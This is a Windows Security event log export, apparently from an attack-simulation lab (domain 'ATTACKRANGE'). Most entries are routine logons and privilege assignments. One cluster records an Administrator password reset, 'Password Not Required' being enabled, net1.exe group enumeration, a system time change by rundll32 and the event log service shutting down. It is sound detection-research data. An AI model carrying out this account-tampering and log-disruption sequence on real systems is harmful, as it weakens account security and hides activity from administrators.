	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2cc
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245025
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0x59A03

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
03/11/2021 11:15:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245024
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0x599F1

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:15:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245023
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		2
	Restricted Admin Mode:	-
	Virtual Account:		Yes
	Elevated Token:		No

Impersonation Level:		Impersonation

New Logon:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0x59A03
	Linked Logon ID:		0x599F1
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x29c
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245022
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		2
	Restricted Admin Mode:	-
	Virtual Account:		Yes
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0x599F1
	Linked Logon ID:		0x59A03
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x29c
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245021
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x29c
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:15:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245033
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:15:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245032
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2cc
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245038
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:15:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245037
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2cc
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5033
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245036
Keywords=Audit Success
Message=The Windows Firewall Driver started successfully.
03/11/2021 11:15:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245035
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:15:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245034
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2cc
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245043
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		No

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x61BDF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		NtLmSsp 
	Authentication Package:	NTLM
	Transited Services:	-
	Package Name (NTLM only):	NTLM V1
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245042
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:15:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245041
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2cc
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245040
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:15:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Logon
OpCode=Info
RecordNumber=245039
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2cc
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:15:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=5024
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Other System Events
OpCode=Info
RecordNumber=245044
Keywords=Audit Success
Message=The Windows Firewall service started successfully.
03/11/2021 11:15:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4616
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Security State Change
OpCode=Info
RecordNumber=245048
Keywords=Audit Success
Message=The system time was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Process Information:
	Process ID:	0xa84
	Name:		C:\Windows\System32\rundll32.exe

Previous Time:		‎2021‎-‎03‎-‎01T12:08:54.793718300Z
New Time:		‎2021‎-‎03‎-‎01T12:08:54.792000000Z

This event is generated when the system time is changed. It is normal for the Windows Time Service, which runs with System privilege, to change the system time on a regular basis. Other system time changes may be indicative of attempts to tamper with the computer.
03/11/2021 11:15:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4724
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245047
Keywords=Audit Success
Message=An attempt was made to reset an account's password.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-83A0VSB
03/11/2021 11:15:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245046
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-83A0VSB

Changed Attributes:
	SAM Account Name:	Administrator
	Display Name:		<value not set>
	User Principal Name:	-
	Home Directory:		<value not set>
	Home Drive:		<value not set>
	Script Path:		<value not set>
	Profile Path:		<value not set>
	User Workstations:	<value not set>
	Password Last Set:	3/1/2021 12:08:54 PM
	Account Expires:		<never>
	Primary Group ID:	513
	AllowedToDelegateTo:	-
	Old UAC Value:		0x10
	New UAC Value:		0x14
	User Account Control:	
		'Password Not Required' - Enabled
	User Parameters:	-
	SID History:		-
	Logon Hours:		All

Additional Information:
	Privileges:		-
03/11/2021 11:15:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4798
EventType=0
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245045
Keywords=Audit Success
Message=A user's local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-83A0VSB$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

User:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-83A0VSB

Process Information:
	Process ID:		0xa2c
	Process Name:		C:\Windows\System32\net1.exe
03/11/2021 11:15:54 PM
LogName=Security
SourceName=Microsoft-Windows-Eventlog
EventCode=1100
EventType=4
Type=Information
ComputerName=EC2AMAZ-83A0VSB
TaskCategory=Service shutdown
OpCode=Info
RecordNumber=245049
Keywords=Audit Success
Message=The event logging service has shut down.
03/11/2021 11:16:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245052
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1b4
	New Process Name:	C:\Windows\System32\autochk.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x18c
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:16:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245051
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x18c
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x4
	Creator Process Name:	
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:16:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4826
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Other Policy Change Events
OpCode=Info
RecordNumber=245050
Keywords=Audit Success
Message=Boot Configuration Data loaded.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

General Settings:
	Load Options:		-
	Advanced Options:		No
	Configuration Access Policy:	Default
	System Event Logging:	No
	Kernel Debugging:	No
	VSM Launch Type:	Off

Signature Settings:
	Test Signing:		No
	Flight Signing:		No
	Disable Integrity Checks:	No

HyperVisor Settings:
	HyperVisor Load Options:	-
	HyperVisor Launch Type:	Off
